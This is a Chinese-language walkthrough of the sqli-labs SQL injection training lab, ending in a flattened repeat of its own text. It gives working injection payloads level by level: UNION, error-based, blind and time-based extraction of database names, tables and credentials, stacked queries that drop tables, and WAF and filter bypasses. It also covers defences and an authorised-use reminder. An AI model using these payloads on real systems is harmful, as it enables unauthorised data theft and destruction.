sqli-labs通关详解
字数 2377 2025-08-30 06:50:27

SQL注入攻防实战:sqli-labs通关详解

1. SQL注入基础概念

SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击者可以利用这种技术绕过安全措施,获取数据库中的敏感信息或执行未授权的数据库操作。

1.1 注入类型分类

  1. 按注入点类型分类

    • 数字型注入:参数未被引号包裹,直接参与SQL查询
    • 字符型注入:参数被单引号或双引号包裹
  2. 按攻击方式分类

    • 联合查询注入(UNION-Based)
    • 报错注入(Error-Based)
    • 布尔盲注(Boolean Blind)
    • 时间盲注(Time-Based)
    • 堆叠注入(Stacked Queries)
    • 二次注入(Second-Order Injection)

2. 基础注入技术

2.1 联合查询注入(UNION-Based)

基本步骤

  1. 判断注入点类型
  2. 确定字段数量
  3. 寻找回显位
  4. 获取数据库信息
  5. 提取表名和列名
  6. 获取数据

示例(Less-1)

?id=1' order by 3 --+  # 确定列数为3
?id=-1' union select 1,2,3 --+  # 判断回显位为2,3
?id=-1' union select 1,database(),version() --+  # 查数据库名和版本
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+  # 获取表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+  # 获取列名
?id=-1' union select 1,2,group_concat(username,'~',password) from users--+  # 获取数据

2.2 报错注入(Error-Based)

常用函数

  • updatexml()
  • extractvalue()
  • floor()

示例(Less-5)

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+  # 获取数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+  # 获取表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+  # 获取列名

2.3 布尔盲注(Boolean Blind)

特点:页面根据条件真/假返回不同结果

示例(Less-8)

?id=1' and length(database())=8 --+  # 判断数据库名长度
?id=1' and substr(database(),1,1)='s'--+  # 逐字符猜解数据库名
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+  # 猜解表的数量

2.4 时间盲注(Time-Based)

特点:通过响应时间差异判断条件真假

示例(Less-9)

?id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+  # 第一位是's'
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+  # 猜表名

3. 高级注入技术

3.1 堆叠注入(Stacked Queries)

特点:执行多条SQL语句,破坏性强

示例(Less-38)

?id=1';CREATE TABLE WhiteMoon LIKE users;--+  # 创建表
?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+  # 插入数据
?id=1';DELETE FROM WhiteMoon;--+  # 删除数据
?id=1';DROP TABLE WhiteMoon;--+  # 删除表

3.2 二次注入(Second-Order Injection)

特点:恶意数据先被存储,后被使用

示例(Less-24)

  1. 创建用户:admin'#/123456
  2. 登录后修改密码:admin/111/111
  3. 实际执行的SQL:
UPDATE users SET PASSWORD='111' where username='admin'#' and password='111'

3.3 宽字节注入

原理:利用GBK编码特性绕过转义

示例(Less-32)

?id=1%df'  # 吃掉转义反斜杠
?id=1%df' UNION SELECT 1,database(),3 --+  # 获取数据库名

3.4 HTTP参数污染(HPP)

原理:提交多个同名参数绕过WAF

示例(Less-29)

?id=1&id=2'--+  # 第一个参数绕过WAF,第二个参数注入
?id=1&id=-1' UNION SELECT 1,database(),3 --+  # 获取数据库名

4. 特殊场景注入

4.1 POST注入

特点:注入点在POST请求中

示例(Less-11)

uname=a' union select 1,database() #  # 获取数据库名
uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security" -- a  # 获取表名

4.2 Cookie注入

示例(Less-20)

Cookie: uname=admin' and updatexml(1,concat(1,database()),1) and '  # 获取数据库名

4.3 User-Agent/Referer注入

示例(Less-18)

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '  # 获取数据库名

4.4 排序注入(Order By)

示例(Less-46)

?sort=1 AND updatexml(1,concat("!",database()),2)#  # 获取数据库名

5. 绕过技术

5.1 注释符绕过

--+  # MySQL注释
#    # URL编码为%23
;%00  # 空字节截断

5.2 空格绕过

%09  # TAB
%0a  # 换行
%0b  # 垂直TAB
%0c  # 换页
%0d  # 回车
%a0  # 非中断空格

5.3 关键词过滤绕过

双写绕过

OorRDER BY  # 绕过or过滤
aadnnd 1=1  # 绕过and过滤

大小写混合

UniOn SelECT

编码绕过

%27  # 单引号
%2527  # 双重URL编码单引号
0x61646d696e  # 十六进制编码

6. 防御措施

  1. 参数化查询:使用预处理语句
  2. 输入验证:白名单过滤
  3. 最小权限原则:数据库账户仅需必要权限
  4. 错误处理:不返回详细错误信息
  5. WAF:Web应用防火墙
  6. 编码输出:防止XSS等二次攻击

7. 实战技巧总结

  1. 信息收集顺序

    • 数据库版本 → 当前用户 → 数据库名 → 表名 → 列名 → 数据
  2. 常用函数

    • database() - 当前数据库
    • version() - 数据库版本
    • user() - 当前用户
    • group_concat() - 合并多行结果
    • concat_ws() - 带分隔符合并
    • substr()/mid()/left() - 字符串截取
    • ascii() - 获取ASCII码
  3. information_schema关键表

    • schemata - 所有数据库
    • tables - 所有表
    • columns - 所有列
  4. 盲注优化

    • 使用二分法加速猜解
    • 优先猜解长度再猜内容
    • 使用脚本自动化过程

8. 各关卡要点速查

关卡 注入类型 闭合方式 关键技巧
1-4 联合注入 单/双引号 基础联合查询
5-6 报错/盲注 单/双引号 updatexml/extractvalue
7 导出文件 ')) into outfile
8-10 盲注 单/双引号 布尔/时间盲注
11-14 POST注入 单/双引号 POST参数注入
15-16 盲注 单/双引号 无错误回显
17 更新注入 单引号 密码字段注入
18-19 头注入 User-Agent/Referer HTTP头注入
20-22 Cookie注入 单/双引号 Cookie字段注入
23-26 过滤绕过 多种 注释符/空格过滤
27-28 高级过滤 多种 union/select过滤
29-31 HPP 多种 参数污染绕过
32-37 宽字节 多种 GBK编码特性
38-45 堆叠注入 多种 多语句执行
46-53 排序注入 多种 order by注入
54-65 挑战关卡 多种 综合技巧应用

9. 自动化工具推荐

  1. SQLmap:自动化SQL注入工具
  2. Burp Suite:拦截修改HTTP请求
  3. Havij:图形化注入工具
  4. NoSQLMap:NoSQL注入工具

10. 法律与道德

  1. 仅用于授权测试
  2. 遵守相关法律法规
  3. 发现漏洞及时报告
  4. 不破坏数据完整性

通过系统学习sqli-labs各关卡,可以全面掌握SQL注入的各种技术场景和防御方法,建议按照关卡顺序逐步练习,从基础注入到高级绕过技术,最终达到全面理解SQL注入攻防的目的。

SQL注入攻防实战:sqli-labs通关详解 1. SQL注入基础概念 SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击者可以利用这种技术绕过安全措施,获取数据库中的敏感信息或执行未授权的数据库操作。 1.1 注入类型分类 按注入点类型分类 : 数字型注入:参数未被引号包裹,直接参与SQL查询 字符型注入:参数被单引号或双引号包裹 按攻击方式分类 : 联合查询注入(UNION-Based) 报错注入(Error-Based) 布尔盲注(Boolean Blind) 时间盲注(Time-Based) 堆叠注入(Stacked Queries) 二次注入(Second-Order Injection) 2. 基础注入技术 2.1 联合查询注入(UNION-Based) 基本步骤 : 判断注入点类型 确定字段数量 寻找回显位 获取数据库信息 提取表名和列名 获取数据 示例(Less-1) : 2.2 报错注入(Error-Based) 常用函数 : updatexml() extractvalue() floor() 示例(Less-5) : 2.3 布尔盲注(Boolean Blind) 特点 :页面根据条件真/假返回不同结果 示例(Less-8) : 2.4 时间盲注(Time-Based) 特点 :通过响应时间差异判断条件真假 示例(Less-9) : 3. 高级注入技术 3.1 堆叠注入(Stacked Queries) 特点 :执行多条SQL语句,破坏性强 示例(Less-38) : 3.2 二次注入(Second-Order Injection) 特点 :恶意数据先被存储,后被使用 示例(Less-24) : 创建用户: admin'#/123456 登录后修改密码: admin/111/111 实际执行的SQL: 3.3 宽字节注入 原理 :利用GBK编码特性绕过转义 示例(Less-32) : 3.4 HTTP参数污染(HPP) 原理 :提交多个同名参数绕过WAF 示例(Less-29) : 4. 特殊场景注入 4.1 POST注入 特点 :注入点在POST请求中 示例(Less-11) : 4.2 Cookie注入 示例(Less-20) : 4.3 User-Agent/Referer注入 示例(Less-18) : 4.4 排序注入(Order By) 示例(Less-46) : 5. 绕过技术 5.1 注释符绕过 5.2 空格绕过 5.3 关键词过滤绕过 双写绕过 : 大小写混合 : 编码绕过 : 6. 防御措施 参数化查询 :使用预处理语句 输入验证 :白名单过滤 最小权限原则 :数据库账户仅需必要权限 错误处理 :不返回详细错误信息 WAF :Web应用防火墙 编码输出 :防止XSS等二次攻击 7. 实战技巧总结 信息收集顺序 : 数据库版本 → 当前用户 → 数据库名 → 表名 → 列名 → 数据 常用函数 : database() - 当前数据库 version() - 数据库版本 user() - 当前用户 group_concat() - 合并多行结果 concat_ws() - 带分隔符合并 substr()/mid()/left() - 字符串截取 ascii() - 获取ASCII码 information_ schema关键表 : schemata - 所有数据库 tables - 所有表 columns - 所有列 盲注优化 : 使用二分法加速猜解 优先猜解长度再猜内容 使用脚本自动化过程 8. 各关卡要点速查 | 关卡 | 注入类型 | 闭合方式 | 关键技巧 | |------|----------|----------|----------| | 1-4 | 联合注入 | 单/双引号 | 基础联合查询 | | 5-6 | 报错/盲注 | 单/双引号 | updatexml/extractvalue | | 7 | 导出文件 | ')) | into outfile | | 8-10 | 盲注 | 单/双引号 | 布尔/时间盲注 | | 11-14| POST注入 | 单/双引号 | POST参数注入 | | 15-16| 盲注 | 单/双引号 | 无错误回显 | | 17 | 更新注入 | 单引号 | 密码字段注入 | | 18-19| 头注入 | User-Agent/Referer | HTTP头注入 | | 20-22| Cookie注入 | 单/双引号 | Cookie字段注入 | | 23-26| 过滤绕过 | 多种 | 注释符/空格过滤 | | 27-28| 高级过滤 | 多种 | union/select过滤 | | 29-31| HPP | 多种 | 参数污染绕过 | | 32-37| 宽字节 | 多种 | GBK编码特性 | | 38-45| 堆叠注入 | 多种 | 多语句执行 | | 46-53| 排序注入 | 多种 | order by注入 | | 54-65| 挑战关卡 | 多种 | 综合技巧应用 | 9. 自动化工具推荐 SQLmap :自动化SQL注入工具 Burp Suite :拦截修改HTTP请求 Havij :图形化注入工具 NoSQLMap :NoSQL注入工具 10. 法律与道德 仅用于授权测试 遵守相关法律法规 发现漏洞及时报告 不破坏数据完整性 通过系统学习sqli-labs各关卡,可以全面掌握SQL注入的各种技术场景和防御方法,建议按照关卡顺序逐步练习,从基础注入到高级绕过技术,最终达到全面理解SQL注入攻防的目的。